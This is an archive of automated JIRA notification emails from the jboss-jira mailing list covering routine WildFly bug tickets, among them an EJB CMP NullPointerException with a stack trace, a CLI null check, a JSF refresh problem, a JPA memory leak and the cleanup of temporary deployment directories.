baranowb <bbaranow at redhat.com> made a comment on [bug 911297|https://bugzilla.redhat.com/show_bug.cgi?id=911297]

Its on CI.
                
> EJB2 CMP - NullPointerException if the entity-bean.bean-instance-pool is configured
> -----------------------------------------------------------------------------------
>
>                 Key: WFLY-49
>                 URL: https://issues.jboss.org/browse/WFLY-49
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>         Environment: *full* profiles with configured CMP subsystem and added configuration of entity-bean instance pool
>            Reporter: Wolf-Dieter Fink
>            Assignee: Wolf-Dieter Fink
>              Labels: ejb, entitybean
>             Fix For: 8.0.0.Alpha1
>
>
> If the pool for entity-bean instances is added to the ejb3 subsystem and CMP is used a NullPointerException is thrown if the instances is obtained from the instance-pool. This will be the second access to the entity.
> The problem is that the PersistenceContext is not set correct if the instance is obtained from the pool.
> Caused by: java.lang.NullPointerException
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCCMP2xFieldBridge.getFieldState(JDBCCMP2xFieldBridge.java:293) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCCMP2xFieldBridge.getLoadedState(JDBCCMP2xFieldBridge.java:275) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCCMP2xFieldBridge.getInstanceValue(JDBCCMP2xFieldBridge.java:175) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCAbstractCMPFieldBridge.getValue(JDBCAbstractCMPFieldBridge.java:196) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.bridge.EntityBridgeInvocationHandler$FieldGetInvoker.invoke(EntityBridgeInvocationHandler.java:99) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.bridge.EntityBridgeInvocationHandler.invoke(EntityBridgeInvocationHandler.java:69) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.component.CmpEntityBeanInvocationHandler.invoke(CmpEntityBeanInvocationHandler.java:61) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at de.wfink.ejb21.cmp.BigEntityBean$$$cmp6.getId(Unknown Source) [ejb.jar:]
> 	at de.wfink.ejb21.cmp.BigEntityBean.getDTO(BigEntityBean.java:122) [ejb.jar:]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_09-icedtea]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_09-icedtea]
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_09-icedtea]
> 	at java.lang.reflect.Method.invoke(Method.java:601) [rt.jar:1.7.0_09-icedtea]
> 	at org.jboss.as.ee.component.ManagedReferenceMethodInterceptorFactory$ManagedReferenceMethodInterceptor.processInvocation(ManagedReferenceMethodInterceptorFactory.java:72) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.WeavedInterceptor.processInvocation(WeavedInterceptor.java:53) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ee.component.interceptors.UserInterceptorFactory$1.processInvocation(UserInterceptorFactory.java:58) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.WeavedInterceptor.processInvocation(WeavedInterceptor.java:53) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ee.component.interceptors.UserInterceptorFactory$1.processInvocation(UserInterceptorFactory.java:58) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.invocationmetrics.ExecutionTimeInterceptor.processInvocation(ExecutionTimeInterceptor.java:43) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.entity.interceptors.EntityBeanReentrancyInterceptor.processInvocation(EntityBeanReentrancyInterceptor.java:49) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.entity.interceptors.EntityBeanSynchronizationInterceptor.processInvocation(EntityBeanSynchronizationInterceptor.java:123) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.component.interceptors.CmpEntityBeanSynchronizationInterceptor.processInvocation(CmpEntityBeanSynchronizationInterceptor.java:67) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.InitialInterceptor.processInvocation(InitialInterceptor.java:21) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.ChainedInterceptor.processInvocation(ChainedInterceptor.java:61) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ee.component.interceptors.ComponentDispatcherInterceptor.processInvocation(ComponentDispatcherInterceptor.java:53) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.entity.interceptors.EntityBeanAssociatingInterceptor.processInvocation(EntityBeanAssociatingInterceptor.java:79) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.tx.CMTTxInterceptor.invokeInCallerTx(CMTTxInterceptor.java:226) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	... 82 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 06:29:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 4 Sep 2013 06:29:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1865) NPE might occur when a null
 object is returned from the aesh Console
In-Reply-To: <JIRA.12498425.1376320265000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498425.1376320265000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498425.1376320265000.7954.1378290543681@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1865?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801462#comment-12801462 ] 

RH Bugzilla Integration commented on WFLY-1865:
-----------------------------------------------

baranowb <bbaranow at redhat.com> made a comment on [bug 996164|https://bugzilla.redhat.com/show_bug.cgi?id=996164]

Set proper metadata.
                
> NPE might occur when a null object is returned from the aesh Console
> --------------------------------------------------------------------
>
>                 Key: WFLY-1865
>                 URL: https://issues.jboss.org/browse/WFLY-1865
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha3
>            Reporter: St?le Pedersen
>            Assignee: Alexey Loubyansky
>             Fix For: 8.0.0.Beta1
>
>
> In cli/src/main/java/org/jboss/as/cli/impl/Console.java
> 177	 	 -                        return console.read(prompt).getBuffer();
> 178	 +                        ConsoleOutput output = console.read(prompt);
> 179	 +                        return output != null ? output.getBuffer() : null;

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Wed Sep  4 06:29:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 4 Sep 2013 06:29:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1865) NPE might occur when a null
 object is returned from the aesh Console
In-Reply-To: <JIRA.12498425.1376320265000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498425.1376320265000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498425.1376320265000.7959.1378290543916@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1865?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801463#comment-12801463 ] 

RH Bugzilla Integration commented on WFLY-1865:
-----------------------------------------------

baranowb <bbaranow at redhat.com> changed the Status of [bug 996164|https://bugzilla.redhat.com/show_bug.cgi?id=996164] from NEW to POST
                
> NPE might occur when a null object is returned from the aesh Console
> --------------------------------------------------------------------
>
>                 Key: WFLY-1865
>                 URL: https://issues.jboss.org/browse/WFLY-1865
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha3
>            Reporter: St?le Pedersen
>            Assignee: Alexey Loubyansky
>             Fix For: 8.0.0.Beta1
>
>
> In cli/src/main/java/org/jboss/as/cli/impl/Console.java
> 177	 	 -                        return console.read(prompt).getBuffer();
> 178	 +                        ConsoleOutput output = console.read(prompt);
> 179	 +                        return output != null ? output.getBuffer() : null;

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Wed Sep  4 06:33:03 2013
From: jira-events at lists.jboss.org (Frank Langelage (JIRA))
Date: Wed, 4 Sep 2013 06:33:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1981) JSF component disappears on
 refresh using a4j:poll
In-Reply-To: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499779.1378159247000.7972.1378290783783@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1981?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801465#comment-12801465 ] 

Frank Langelage commented on WFLY-1981:
---------------------------------------

Replaced
 <a4j:poll id="Poll" interval="#{index.refreshValue*1000}" render="Table1,Table2" action="#{index.read()}"/>
with
 <a4j:commandButton value="Refresh" render="Table1,Table2" action="#{index.read()}"/>.
Same effect. After first click / refresh the second datatable disappears.
I also tried with RF 5.0.0.Aplha1. Same result.
Since mojarra datatable works with RF but not the Openfaces datatable, could this be a problem with OF or the combination of OF and RF?
But the combination worked in the past and it works when using Mojarra-2.1.19.
Really strange.
                
> JSF component disappears on refresh using a4j:poll
> --------------------------------------------------
>
>                 Key: WFLY-1981
>                 URL: https://issues.jboss.org/browse/WFLY-1981
>             Project: WildFly
>          Issue Type: Bug
>          Components: JSF, Web (Undertow)
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Frank Langelage
>            Assignee: Brian Leathem
>         Attachments: install-mojarra-2.1.19.cli, Jira-WFLY-UT.tar, xaa, xab, xac
>
>
> On some of my pages I'm using richfaces a4j:poll to refresh components regularly. The components refreshed is an openfaces datatable.
> This does not work with WildFly build from current sources.
> Same code works with JBoss AS 7.20. So problem is not related to richfaces or openfaces for me. Probably related to replacement of jboss-web with undertow.
> I'll attach a small project showing the problem.
> The mojarra datatable works fine, is refreshed every 10 seconds.
> The openfaces datatable below disappears on first refresh.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 06:43:03 2013
From: jira-events at lists.jboss.org (Stuart Douglas (JIRA))
Date: Wed, 4 Sep 2013 06:43:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1996) Application client will not
 start if run against a standalone client jar
In-Reply-To: <JIRA.12499903.1378291333286@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499903.1378291333286@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499903.1378291333286.7985.1378291383928@jira02.app.mwc.hst.phx2.redhat.com>

Stuart Douglas created WFLY-1996:
------------------------------------

             Summary: Application client will not start if run against a standalone client jar
                 Key: WFLY-1996
                 URL: https://issues.jboss.org/browse/WFLY-1996
             Project: WildFly
          Issue Type: Bug
          Components: Application Client
            Reporter: Stuart Douglas
            Assignee: Stuart Douglas




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 06:43:04 2013
From: jira-events at lists.jboss.org (Stuart Douglas (JIRA))
Date: Wed, 4 Sep 2013 06:43:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1996) Application client will not
 start if run against a standalone client jar
In-Reply-To: <JIRA.12499903.1378291333000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499903.1378291333000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499903.1378291333000.7990.1378291384196@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1996?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Stuart Douglas updated WFLY-1996:
---------------------------------

        Fix Version/s: 8.0.0.Beta1
    Affects Version/s: 8.0.0.Alpha4

    
> Application client will not start if run against a standalone client jar
> ------------------------------------------------------------------------
>
>                 Key: WFLY-1996
>                 URL: https://issues.jboss.org/browse/WFLY-1996
>             Project: WildFly
>          Issue Type: Bug
>          Components: Application Client
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Stuart Douglas
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 08:51:03 2013
From: jira-events at lists.jboss.org (Jeff Mesnil (JIRA))
Date: Wed, 4 Sep 2013 08:51:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-509) JSR-343 JMS 2.0 Support
In-Reply-To: <JIRA.12485210.1361308978000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12485210.1361308978000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12485210.1361308978000.8596.1378299063804@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-509?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jeff Mesnil resolved WFLY-509.
------------------------------

    Resolution: Done

    
> JSR-343 JMS 2.0 Support
> -----------------------
>
>                 Key: WFLY-509
>                 URL: https://issues.jboss.org/browse/WFLY-509
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: JMS
>            Reporter: David Lloyd
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Beta1
>
>
> Add support for JMS 2.0 as per Java EE 7 specification.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 09:01:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 4 Sep 2013 09:01:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1865) NPE might occur when a null
 object is returned from the aesh Console
In-Reply-To: <JIRA.12498425.1376320265000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498425.1376320265000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498425.1376320265000.8627.1378299665553@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1865?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801529#comment-12801529 ] 

RH Bugzilla Integration commented on WFLY-1865:
-----------------------------------------------

baranowb <bbaranow at redhat.com> changed the Status of [bug 996164|https://bugzilla.redhat.com/show_bug.cgi?id=996164] from POST to CLOSED
                
> NPE might occur when a null object is returned from the aesh Console
> --------------------------------------------------------------------
>
>                 Key: WFLY-1865
>                 URL: https://issues.jboss.org/browse/WFLY-1865
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha3
>            Reporter: St?le Pedersen
>            Assignee: Alexey Loubyansky
>             Fix For: 8.0.0.Beta1
>
>
> In cli/src/main/java/org/jboss/as/cli/impl/Console.java
> 177	 	 -                        return console.read(prompt).getBuffer();
> 178	 +                        ConsoleOutput output = console.read(prompt);
> 179	 +                        return output != null ? output.getBuffer() : null;

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Wed Sep  4 09:01:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 4 Sep 2013 09:01:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1865) NPE might occur when a null
 object is returned from the aesh Console
In-Reply-To: <JIRA.12498425.1376320265000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498425.1376320265000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498425.1376320265000.8632.1378299665755@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1865?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801530#comment-12801530 ] 

RH Bugzilla Integration commented on WFLY-1865:
-----------------------------------------------

baranowb <bbaranow at redhat.com> made a comment on [bug 996164|https://bugzilla.redhat.com/show_bug.cgi?id=996164]


                
> NPE might occur when a null object is returned from the aesh Console
> --------------------------------------------------------------------
>
>                 Key: WFLY-1865
>                 URL: https://issues.jboss.org/browse/WFLY-1865
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha3
>            Reporter: St?le Pedersen
>            Assignee: Alexey Loubyansky
>             Fix For: 8.0.0.Beta1
>
>
> In cli/src/main/java/org/jboss/as/cli/impl/Console.java
> 177	 	 -                        return console.read(prompt).getBuffer();
> 178	 +                        ConsoleOutput output = console.read(prompt);
> 179	 +                        return output != null ? output.getBuffer() : null;

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Wed Sep  4 09:41:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 4 Sep 2013 09:41:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1697) Fix JPA
 SerializableValidatorFactory memory leak
In-Reply-To: <JIRA.12496481.1373901643000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496481.1373901643000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496481.1373901643000.8696.1378302063683@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1697?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801538#comment-12801538 ] 

RH Bugzilla Integration commented on WFLY-1697:
-----------------------------------------------

Tomaz Cerar <tcerar at redhat.com> made a comment on [bug 1003600|https://bugzilla.redhat.com/show_bug.cgi?id=1003600]

Issue is related also with https://hibernate.atlassian.net/browse/HHH-8363
                
> Fix JPA SerializableValidatorFactory memory leak
> ------------------------------------------------
>
>                 Key: WFLY-1697
>                 URL: https://issues.jboss.org/browse/WFLY-1697
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: JPA / Hibernate
>    Affects Versions: 8.0.0.Alpha3
>            Reporter: Scott Marlow
>            Assignee: Scott Marlow
>
> See http://lists.jboss.org/pipermail/wildfly-dev/2013-July/000466.html for details on recreating the SerializableValidatorFactory leak and Hibernate service loader references to Integreation class/properties.  

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 09:43:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 4 Sep 2013 09:43:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1697) Fix JPA
 SerializableValidatorFactory memory leak
In-Reply-To: <JIRA.12496481.1373901643000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496481.1373901643000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496481.1373901643000.8725.1378302183941@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1697?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801541#comment-12801541 ] 

RH Bugzilla Integration commented on WFLY-1697:
-----------------------------------------------

Tomaz Cerar <tcerar at redhat.com> made a comment on [bug 1003600|https://bugzilla.redhat.com/show_bug.cgi?id=1003600]

After discussion with Stuart we both agree that is memory leak, but my proposed fix just mask the real memory leaks.

Currently we identified possible causes in not clearing TCCL in executor service and linked hibernate issue.
                
> Fix JPA SerializableValidatorFactory memory leak
> ------------------------------------------------
>
>                 Key: WFLY-1697
>                 URL: https://issues.jboss.org/browse/WFLY-1697
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: JPA / Hibernate
>    Affects Versions: 8.0.0.Alpha3
>            Reporter: Scott Marlow
>            Assignee: Scott Marlow
>
> See http://lists.jboss.org/pipermail/wildfly-dev/2013-July/000466.html for details on recreating the SerializableValidatorFactory leak and Hibernate service loader references to Integreation class/properties.  

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 10:11:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 4 Sep 2013 10:11:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1547) deploy directories not
	cleaned up
In-Reply-To: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12479851.1353935247000.8866.1378303864101@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1547?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801555#comment-12801555 ] 

RH Bugzilla Integration commented on WFLY-1547:
-----------------------------------------------

Tomaz Cerar <tcerar at redhat.com> made a comment on [bug 1004383|https://bugzilla.redhat.com/show_bug.cgi?id=1004383]

Upgrade jboss-vfs as it is needed by WFLY-1547
                
> deploy directories not cleaned up
> ---------------------------------
>
>                 Key: WFLY-1547
>                 URL: https://issues.jboss.org/browse/WFLY-1547
>             Project: WildFly
>          Issue Type: Bug
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Shaun Appleton
>            Assignee: jaikiran pai
>         Attachments: deployment_with_hack_no_hook.txt
>
>
> JBoss EAP 6.0.0 (and 6.0.1.ER3) doesn't clean up it's tmp/vfs directories.
> The following reproduces this -
> i) ensure run.conf has the -Xrs set
> ii) ensure deployments has a deployable .ear in it
> iii) ./run standalone.sh and allow the deployments to deploy
> iv) stop the EAP process ie kill <process_id>
> v) observe content tmp/vfs
> (The -Xrs parameter is used to "-Xrs" to prevent possible interference when JVM is running as a service and receives CTRL_LOGOFF_EVENT or SIGHUP)
> This will eventually cause problems with lack of disk space.
> Note if the -Xrs parameter content is removed but the tmp/vfs dirs stills exist. This could potentially cause inode problems.
> It would be better if there were any additional code so the temp dirs are cleaned up on start up. That would resolve both the -Xrs problem and the excessive dir creation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 10:11:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 4 Sep 2013 10:11:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1547) deploy directories not
	cleaned up
In-Reply-To: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12479851.1353935247000.8879.1378303864709@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1547?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-1547:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1004383

    
> deploy directories not cleaned up
> ---------------------------------
>
>                 Key: WFLY-1547
>                 URL: https://issues.jboss.org/browse/WFLY-1547
>             Project: WildFly
>          Issue Type: Bug
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Shaun Appleton
>            Assignee: jaikiran pai
>         Attachments: deployment_with_hack_no_hook.txt
>
>
> JBoss EAP 6.0.0 (and 6.0.1.ER3) doesn't clean up it's tmp/vfs directories.
> The following reproduces this -
> i) ensure run.conf has the -Xrs set
> ii) ensure deployments has a deployable .ear in it
> iii) ./run standalone.sh and allow the deployments to deploy
> iv) stop the EAP process ie kill <process_id>
> v) observe content tmp/vfs
> (The -Xrs parameter is used to "-Xrs" to prevent possible interference when JVM is running as a service and receives CTRL_LOGOFF_EVENT or SIGHUP)
> This will eventually cause problems with lack of disk space.
> Note if the -Xrs parameter content is removed but the tmp/vfs dirs stills exist. This could potentially cause inode problems.
> It would be better if there were any additional code so the temp dirs are cleaned up on start up. That would resolve both the -Xrs problem and the excessive dir creation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 10:17:03 2013
From: jira-events at lists.jboss.org (jaikiran pai (JIRA))
Date: Wed, 4 Sep 2013 10:17:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1547) deploy directories not
	cleaned up
In-Reply-To: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12479851.1353935247000.8901.1378304223925@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1547?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801560#comment-12801560 ] 

jaikiran pai commented on WFLY-1547:
------------------------------------

A pull request containing a fix has been sent to upstream https://github.com/wildfly/wildfly/pull/5002/.

Manual testing shows that it's working. I would like someone from support team to give the latest nightly builds a try once this has been merged, to ensure that this covers their cases.

                
> deploy directories not cleaned up
> ---------------------------------
>
>                 Key: WFLY-1547
>                 URL: https://issues.jboss.org/browse/WFLY-1547
>             Project: WildFly
>          Issue Type: Bug
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Shaun Appleton
>            Assignee: jaikiran pai
>         Attachments: deployment_with_hack_no_hook.txt
>
>
> JBoss EAP 6.0.0 (and 6.0.1.ER3) doesn't clean up it's tmp/vfs directories.
> The following reproduces this -
> i) ensure run.conf has the -Xrs set
> ii) ensure deployments has a deployable .ear in it
> iii) ./run standalone.sh and allow the deployments to deploy
> iv) stop the EAP process ie kill <process_id>
> v) observe content tmp/vfs
> (The -Xrs parameter is used to "-Xrs" to prevent possible interference when JVM is running as a service and receives CTRL_LOGOFF_EVENT or SIGHUP)
> This will eventually cause problems with lack of disk space.
> Note if the -Xrs parameter content is removed but the tmp/vfs dirs stills exist. This could potentially cause inode problems.
